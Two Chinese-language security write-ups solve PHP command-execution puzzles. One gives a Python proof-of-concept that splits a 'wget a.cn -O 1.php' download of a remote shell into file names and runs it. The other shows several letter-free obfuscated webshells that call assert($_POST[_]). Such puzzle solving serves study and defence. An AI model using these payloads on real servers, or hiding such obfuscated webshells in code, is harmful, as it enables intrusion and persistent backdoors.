从七个字符长度的任意命令执行到GetShell

看到phithon在圈子里发了个题,感觉好坑,记录一下我走过的套路:

此题的代码很简单,如下:

<?php
if(strlen($_GET[1])<8){
     echo shell_exec($_GET[1]);
}
?>

要求要getshell。

分析

1.直接写shell是不可能的,因为

1=echo 1>1

都8个字符了,已经超了2.下载一个shell也是不可行的,

1=wget a.cn

也超了。所以需要想其他的办法。@yichin告诉我,直接1=>filename,就可以创建文件,但是1=1>filename并没有办法把1写到文件中去,所以说这里只能够创建空文件,没有办法把内容写入到文件中去。可以利用的就只有文件名了。
利用文件名是否可以getshell呢??刚想到这里,yichin说这样1=ls >a,能否有办法写入个shell呢? 这句话一下子惊醒我了,我顿时明白了这里面套路。
思路是这样的:我们把一条长的命令拆分为多个小段,把每一段都存为文件名,然后用 1=ls >a,创建文件a,执行a来getshell。
但是有一个后遗症,就是你得想办法解决好多换行的问题,下面会详细说。
思路有了,接下来就是要动手啦,但是我却走了好多弯路,分别都说一下:
1. 开始我想把最短的shell,<?=$_GET[1];拆分为多个段,每段都做为文件名,然后ls一下重定向到一个php文件,就getshell了。想法很美好,但是现实很残酷1=ls >a.php长度都已经超了,所以不能直接写php文件。
2. 所以接下来就是想写个sh文件,执行sh文件来getshell,但是sh文件到底写啥命令?
是echo 一个shell到php文件,还是用wget下载一个shell呢。
经过我的测试 ,我发现echo一个shell貌似不行或者说很麻烦,搞了好久也没成功,主要是php语句换行的问题。
虽然php一条语句读到分号才算结束,中间可以有多个换行,换行不影响执行,但是换行也是都限度的,就是关键词是不可再拆分的,比如:

<?`
$_GET[1]
`;

这是可以运行的,没有问题,但是如果在$_GET[1]中任意一个地方添加一个换行,都是没办法运行的

<br /><?`
$_GET
[1]
`;

//无法运行
也就是说,$_GET[1]是没办法再拆分的,必须是一个整体。但是长度显然是超了。
接下来就只有最后一个方法了,下载一个shell了。
经过多次测试,发现下面sh文件是可以运行的:

wget\
 a.\
cn \
-O \
1.php

目的是到a.cn下载一个文件保存为1.php,就getshell了。
所以接下来我只需要把这个sh文件的每一行都存为一个文件名,然后ls >a,sh a,就坐等shell了。
(**注意:a.cn需要换成你的域名,自己做拆分的时候需要注意一点,.不能放在文件名开头,因为以.开头的文件名是隐藏文件,ls是列不出来的)最后还有一个问题,就是ls 列出来文件名是按照字符字典[a-z]的顺序排列的,不能得到我们想要的顺序,这时候想到了按照创建时间先后排序。
因为 ls -tr>a长度已经超了,所以只有用ls -t>a了。
ls -t列出来的文件顺序是:最后创建的文件在最前面,所以我们创建文件的时候要先创建最后一行1.php,最后创建文件wget\给个python写的POC:

#!/usr/bin/python
#-*- coding: utf-8 -*- 

import requests 
def GetShell():
    url = "http://192.168.56.129/shell.php?1="
    fileNames = ["1.php","-O\ \\","cn\ \\","\ a.\\","wget\\"] 
    # linux创建中间有空格的文件名,需要转义,所以有请求"cn\ \\"
    # 可以修改hosts文件,让a.cn指向一个自己的服务器。
    # 在a.cn 的根目录下创建index.html ,内容是一个php shell 

    for fileName in fileNames:
        createFileUrl = url+">"+fileName
        print createFileUrl 
        requests.get(createFileUrl)

    getShUrl = url + "ls -t>1"
    print getShUrl
    requests.get(getShUrl)
    getShellUrl = url + "sh 1"
    print getShellUrl
    requests.get(getShellUrl)

    shellUrl = "http://192.168.56.129/1.php"
    response = requests.get(shellUrl)
    if response.status_code == 200:
        print "[*] Get shell !"
    else :
        print "[*] fail!"

if __name__ == "__main__":
    GetShell()

via

一些不包含数字和字母的webshell

一些不包含数字和字母的webshell

在小密圈提了个问题,“如何编写一个不使用数字和字母的webshell”,并具体成如下代码:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

那么,这个代码如何利用?

思路

首先,明确思路。我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。

那么,变换方法 将是解决本题的要点。

不过在此之前,我需要说说php5和7的差异。

php5中assert是一个函数,我们可以通过$f=’assert’;$f(…);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

下文为了方便起见,使用PHP5作为环境,PHP7相关的利用方法自己探索吧。

方法一

这是最简单、最容易想到的方法。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

执行结果如下:

方法二

和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。

方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如’和'{2}的结果是”\x8c”,其取反即为字母s:

利用这个特性,我找了一篇文章( https://www.leavesongs.com/THINK/answer.html ),自动选择了其中一些汉字,生成如下答案:

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

这个答案还利用了PHP的弱类型特性。因为要获取’和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是(‘>’>'<‘)+(‘>’>'<‘)==2。

方法三

那么,如果不用位运算这个套路,能不能搞定这题呢?有何不可。

这就得借助PHP的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php

也就是说,’a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

再取这个字符串的第一个字母,就可以获得’A’了。

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a):

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

执行结果:

via